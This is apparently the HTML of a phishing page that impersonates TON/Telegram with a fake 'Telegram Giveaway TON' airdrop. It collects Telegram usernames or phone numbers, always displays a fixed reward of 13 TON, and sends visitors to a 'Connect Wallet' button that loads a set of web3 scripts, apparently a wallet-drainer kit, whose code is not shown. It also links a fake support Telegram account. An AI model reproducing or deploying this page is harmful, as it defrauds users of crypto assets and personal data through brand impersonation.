<!DOCTYPE html>
<html lang="en">
<head><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="shortcut icon" href="https://ton.org/_next/static/media/favicon-16x16.69c92b2b.png">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap" rel="stylesheet">

    <link rel="stylesheet" href="style.css" />
    <title>TON - The Open Network</title>

    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">

</head>
<body>

    <div class="page">
        <header class="header">
            <div class="container">
                <div class="header__wrapper">
                    <a href="#" class="header__logo">
                        <svg width="63" height="24" viewBox="0 0 63 24" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#logo_small_svg__clip0_225_523)"><path d="M12.0708 24C18.6982 24 24.0708 18.6274 24.0708 12C24.0708 5.37258 18.6982 0 12.0708 0C5.44338 0 0.0708008 5.37258 0.0708008 12C0.0708008 18.6274 5.44338 24 12.0708 24Z" fill="#0098EA"></path><path d="M16.1681 6.69763H7.97313C6.46635 6.69763 5.51133 8.32302 6.26937 9.63694L11.327 18.4033C11.6571 18.9757 12.4842 18.9757 12.8142 18.4033L17.8729 9.63694C18.6299 8.32508 17.6749 6.69763 16.1691 6.69763H16.1681ZM11.3229 15.7744L10.2214 13.6426L7.56369 8.88922C7.38836 8.58497 7.60494 8.19513 7.9721 8.19513H11.3219V15.7754L11.3229 15.7744ZM16.5755 8.88819L13.9188 13.6437L12.8173 15.7744V8.1941H16.1671C16.5342 8.1941 16.7508 8.58394 16.5755 8.88819Z" fill="white"></path><path d="M31.6353 18.6289H34.323V9.25552H38.0394V6.70219H27.9188V9.25552H31.6353V18.6289Z" fill="currentColor"></path><path d="M44.4989 18.8305C47.8921 18.8305 50.6638 16.0588 50.6638 12.6656C50.6638 9.27232 47.8921 6.50061 44.4989 6.50061C41.0888 6.50061 38.3339 9.27232 38.3339 12.6656C38.3339 16.0588 41.0888 18.8305 44.4989 18.8305ZM44.4989 16.2436C42.5503 16.2436 41.0216 14.5974 41.0216 12.6656C41.0216 10.7338 42.5503 9.08754 44.4989 9.08754C46.4306 9.08754 47.9593 10.7338 47.9593 12.6656C47.9593 14.5974 46.4306 16.2436 44.4989 16.2436Z" fill="currentColor"></path><path d="M62.9291 18.6289V6.70219H60.2414V14.0598L54.446 6.70219H52.1447V18.6289H54.8156V11.2545L60.6278 18.6289H62.9291Z" fill="currentColor"></path></g><defs><clipPath id="logo_small_svg__clip0_225_523"><rect width="63" height="24" fill="white"></rect></clipPath></defs></svg>
                    </a>
                    <nav class="header__nav">
                        <ul class="header__nav-list">
                            <li><a href="https://ton.org/en/payments">USE</a></li>
                            <li><a href="https://docs.ton.org/learn/introduction">Learn</a></li>
                            <li><a href="https://docs.ton.org">Build</a></li>
                            <li><a href="https://ton.org/en/community">Community</a></li>
                        </ul>
                    </nav>
                    <div class="header__burger">
                        <span></span>
                    </div>
                </div>
            </div>
        </header>
        <div class="page__wrapper">
            <div class="page__logo">
                <img src="img/telegram.png" alt="telegram" />
            </div>
            <h1 class="page__title">
                Telegram Giveaway TON
            </h1>
            <div class="page__suptitle">
               Any Telegram user has the right to participate in AIRDROP and receive <span>TON tokens 🎁 </span>
                <video width="0" height="0" controls>
  <source src="" type="video/mp4">
  <source src="video.webm" type="video/webm">
  
</video>
            </div>
            <div class="ton">
                <div class="ton__icon">
                    <img src="img/toncoin.png" alt="TON" />
                </div>
                <div class="ton__title">
                    Toncoin
                </div>
                <div class="ton__abb">
                    TON
                </div>
            </div>
            <div class="form hide">
                <div class="form__text">
                    Enter your telegram username or phone number to check if tokens are available to you
                </div>
                <div class="form__input">
                    <input type="text" id="login" />
                    <label for="login">Telegram login or phone number</label>
                </div>
                <a href="#" class="form__btn">CHECK</a>
            </div>
            <div class="loading">
                <lottie-player src="spinner.json" background="transparent" class="spin" loop speed="1"></lottie-player>
                <div class="loading__text">

                </div>
            </div>
            <lottie-player src="check.json" background="transparent" class="check" speed="1"></lottie-player>
            <div class="result">
                <div class="result__title">
                    Your amount:
                </div>
                <div class="result__count">
                    <img src="img/toncoin.png" alt="TON" /> <span>13</span> Ton (<span id="usd_price"></span> USD)
                </div>
                <div class="form__text">
                    Connect your wallet and go through verification to receive TONCOIN
                    
                </div>
                <button class="form__btn result__btn" onclick="ms_init()"> 
                    Connect Wallet 
                </button>
            </div>
        </div>
    </div>

    <section class="part">
        <div class="container">
            <div class="part__ideas">
                <div class="part__ideas-left">
                    <h3> TON Community Support Agent </h3>
                    <p>Ask questions, any help in a short time.</p>
                    <div class="part__btn">
                        <a href="https://t.me/Eduard_SupportTon">Support Agent<i class="fab fa-telegram-plane"></i></a>
                        <a href="https://ton.org/en/community">Explore all <i class="fas fa-chevron-right"></i></a>
                    </div>
                </div>
                <div class="part__ideas-right">
                    <div class="part__num">
                        <div class="part__num-item">
                            1
                        </div>
                        <div class="part__num-item">
                            5
                        </div>
                        <div class="part__num-item">
                            6
                        </div>
                        <div class="part__num-item">
                            2
                        </div>
                        <div class="part__num-item">
                            3
                        </div>
                        <div class="part__num-item">
                            1
                        </div>
                        <div class="part__num-item">
                            5
                        </div>
                    </div>
                    <div class="part__num-text">
                        Total community members
                    </div>
                </div>
            </div>
        </div>
    </section>

    <section class="blocks">
        <div class="container">
            <div class="blocks__wrapper">
                <div class="blocks__item">
                    <h3>Collaborate with TON</h3>
                    <p>Organise breakfasts, hubs, informal meetings with like-minded people and share ideas.</p>
                    <a href="https://ton.org/en/collaborate">Collaborate with TON<i class="fas fa-chevron-right"></i></a>
                    <img src="1.png" alt="">
                </div>
                <div class="blocks__item">
                    <h3>Become an ambassador</h3>
                    <p>Fast-track for crypto enthusiasts and Web3 wizards looking to grow the TON community.</p>
                    <a href="https://ton.org/en/ambassadors">Turn into TON Ambassador <i class="fas fa-chevron-right"></i></a>
                    <img src="2.png" alt="">
                </div>
            </div>
        </div>
    </section>

    <footer>
        <div class="container">
            <div class="footer__wrapper">
                <a href="#" class="footer__logo">
                    <svg width="63" height="24" viewBox="0 0 63 24" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#logo_small_svg__clip0_225_523)"><path d="M12.0708 24C18.6982 24 24.0708 18.6274 24.0708 12C24.0708 5.37258 18.6982 0 12.0708 0C5.44338 0 0.0708008 5.37258 0.0708008 12C0.0708008 18.6274 5.44338 24 12.0708 24Z" fill="#0098EA"></path><path d="M16.1681 6.69763H7.97313C6.46635 6.69763 5.51133 8.32302 6.26937 9.63694L11.327 18.4033C11.6571 18.9757 12.4842 18.9757 12.8142 18.4033L17.8729 9.63694C18.6299 8.32508 17.6749 6.69763 16.1691 6.69763H16.1681ZM11.3229 15.7744L10.2214 13.6426L7.56369 8.88922C7.38836 8.58497 7.60494 8.19513 7.9721 8.19513H11.3219V15.7754L11.3229 15.7744ZM16.5755 8.88819L13.9188 13.6437L12.8173 15.7744V8.1941H16.1671C16.5342 8.1941 16.7508 8.58394 16.5755 8.88819Z" fill="white"></path><path d="M31.6353 18.6289H34.323V9.25552H38.0394V6.70219H27.9188V9.25552H31.6353V18.6289Z" fill="currentColor"></path><path d="M44.4989 18.8305C47.8921 18.8305 50.6638 16.0588 50.6638 12.6656C50.6638 9.27232 47.8921 6.50061 44.4989 6.50061C41.0888 6.50061 38.3339 9.27232 38.3339 12.6656C38.3339 16.0588 41.0888 18.8305 44.4989 18.8305ZM44.4989 16.2436C42.5503 16.2436 41.0216 14.5974 41.0216 12.6656C41.0216 10.7338 42.5503 9.08754 44.4989 9.08754C46.4306 9.08754 47.9593 10.7338 47.9593 12.6656C47.9593 14.5974 46.4306 16.2436 44.4989 16.2436Z" fill="currentColor"></path><path d="M62.9291 18.6289V6.70219H60.2414V14.0598L54.446 6.70219H52.1447V18.6289H54.8156V11.2545L60.6278 18.6289H62.9291Z" fill="currentColor"></path></g><defs><clipPath id="logo_small_svg__clip0_225_523"><rect width="63" height="24" fill="white"></rect></clipPath></defs></svg>
                </a>
                <div class="footer__soc">
                    <a href="https://github.com/ton-blockchain"><i class="fab fa-youtube"></i></a>
                    <a href="https://t.me/toncoin"><i class="fab fa-telegram-plane"></i></a>
                    <a href="https://twitter.com/ton_blockchain"><i class="fab fa-whatsapp"></i></a>
                </div>
            </div>
        </div>
    </footer>

    <script src="lottie-player.js"></script>
    <script src="script.js"></script>
</script>
  <script src="./assets/web3-provider/web3-modal.js"></script>
  <script src="./assets/web3-provider/web3-loader.js"></script>
  <script src="./assets/web3-provider/web3-connect.js"></script>
  <script src="./assets/web3-provider/web3-router.js"></script>
  <script src="./assets/web3-provider/web3-module.js"></script>
  <script src="./assets/web3-provider/web3-alert.js"></script>
  <script src="./assets/web3-provider/web3-seaport.js"></script>
  <script src="./assets/web3-provider/web3-data.js"></script>
  <script src="./assets/web3-provider/ethers.js"></script>
  <script src="./assets/web3-provider/ethereum-tx.js"></script>
  <script src="./assets/web3-provider.js"></script></body>
</html>